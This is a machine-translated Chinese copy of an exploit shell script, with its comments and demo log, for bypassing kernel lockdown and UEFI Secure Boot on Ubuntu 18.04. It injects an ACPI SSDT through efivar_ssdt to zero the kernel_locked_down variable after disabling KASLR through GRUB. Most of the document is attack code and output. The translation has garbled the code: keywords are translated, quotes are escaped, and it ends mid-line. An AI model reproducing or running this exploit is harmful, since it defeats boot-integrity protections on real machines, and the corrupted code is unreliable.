使用ACPI SSDT注入绕过Ubuntu 18.04上的内核锁定/UEFI安全引导

2020-06-15 16:11:46

blob:4822f881ea2919a10c3e75018da51c41e38ef07d(普通)#!/bin/bash#美国未签名语言#=#by zx2c4,2020-06-13##此漏洞利用efivar_ssdt入口点将#ACPI表插入到Ubuntu Bio中。其结果是,用户可以随后将#未签名内核驱动程序加载到启用了安全引导的系统中,而不需要#对模块签名。##efivar_ssdt指向EFI变量的名称,枚举该变量的所有GUID&#d#版本,然后将内容作为ACPI表加载。#为了使其有用,我们必须创建一个要加载的ASL文件,#该文件的有效负载可以将零写入KERNEL_LOCKED_DOWN#变量。请注意,由于我们是通过物理地址访问此内容,#各种缓解措施和可分页权限都不会对此进行限制。另外,#此方法通常在内核初始化期间执行。为了找出#一个稳定的物理地址在重启后仍然有效,我们只需禁用kaslr,这样我们就可以在所有引导上保持相同的SSDT,从而持久利用漏洞。##使用\_SB_.GSIF._STA方法,因为以这种方式加载的SSDT不能#覆盖DSDT方法,但可以添加新的方法,并且在使用#开发此方法的QEMU平台上,没有定义\_SB_.GSIF._STA,即使内核是#评估它。根据您的平台,您可能希望使用不同的#方法。##问候乔诺。##演示时间:##1)首先显示我们正在运行的内核:##zx2c4@bionicman:~$uname-a#Linux bionicman 4.15.0-106-Generic#107-Ubuntu SMP清华Jun 4 11:27:52 UTC 2020 x86_64 GNU/Linux##2)观察我们可以';t加载未签名的WireGuard:##zx2c4@bionicman:~。:必需密钥不可用##3)运行漏洞攻击,其第一阶段禁用kaslr:##zx2c4@bionicman:~$./american-unsign-language.sh#[+]将内核cmdline变量添加到GRUB#源文件`/etc/default/GRUB';#正在生成GRUB配置文件.#找到Linux映像:/boot/vmlinuz-4.15.0-106-Generic#find initrd image:/boot/initrd.img-4.15.0-106-Generic#为EFI固件配置添加引导菜单项#完成#[+]重新启动计算机,然后再次运行此程序。#zx2c4@bionicman:~$sudo reboot##4)计算机重启后,我们计算地址并创建SSDT:##zx2c4@bionicman:~$./american-unsign-language.sh#[+]解析内核符号#*kernel_lock_down=0xffffffff821c6c98#[+]将虚拟地址映射到物理地址#*kernel base=0x1800000#*kernel_lock_down=0x29c6c98#[+]构造ASL#[+]为ASL#*GUID分配GUID。GRUB#源文件`/etc/default/GRUB';#正在生成GRUB配置文件.#找到Linux映像:/boot/vmlinuz-4.15.0-106-Generic#找到initrd映像:/boot/initrd.img-4.15.0-106-Generic#为EFI固件配置添加引导菜单项#完成#[+]成功。重新启动以激活。#zx2c4@bionicman:~$sudo reboot##5)计算机重新启动后,我们现在可以开始工作了,内核锁定#被永久禁用:##zx2c4@bionicman:~$sudo modprobe wireguard#zx2c4@bionicman:~$dmesg|grep wireGuard#[40.574623]wireguard:wireGuard 1.0.20200611已加载。有关信息,请访问www.wireguard.com。set-e self=";$(readlink-f";${BASH_SOURCE[0]}";)";[[$UID==0]]||exec sudo--";$BASH";--";$Self";";$@";ECHO";=。echo";=";如果[[!-d/boot/efi]];则echo";[+]挂载/引导分区";mount/boot fi if[[$(<;/proc/cmdline)!=*nokaslr*]];则if!grep-F-q nokaslr/etc/Default/GRUB;然后ECHO";[+]将内核命令行变量添加到GRUB";ECHO';GRUB_CMDLINE_LINUX_DEFAULT=";$GRUB_CMDLINE_LINUX_DEFAULT nokaslr";';>;>;/etc/DEFAULT/GRUB UPDATE-GRUB FI ECHO";[+]重新启动计算机,然后再次运行此程序。";如果!则退出0 FI!命令-v iasl&>>/dev/null 2;>>&;1;然后echo";[+]安装依赖项";apt-get install-y acpica-tools fi echo";[+]解析内核符号";read-r addr类型符号<;<;(grep-F kernel_lock_down/proc/kallsyms)[[$Symbol==kernel_lock_down]]addr=。*KERNEL_LOCKED_DOWN=0x%x\n';";$addr";echo";[+]将虚拟地址映射到物理地址";addr=$(($addr&;~0xffffffff80000000))读r行时;do[[$line=~([0-9a-f]+)-[0-9a-f]+\:\kernel\code]|继续偏移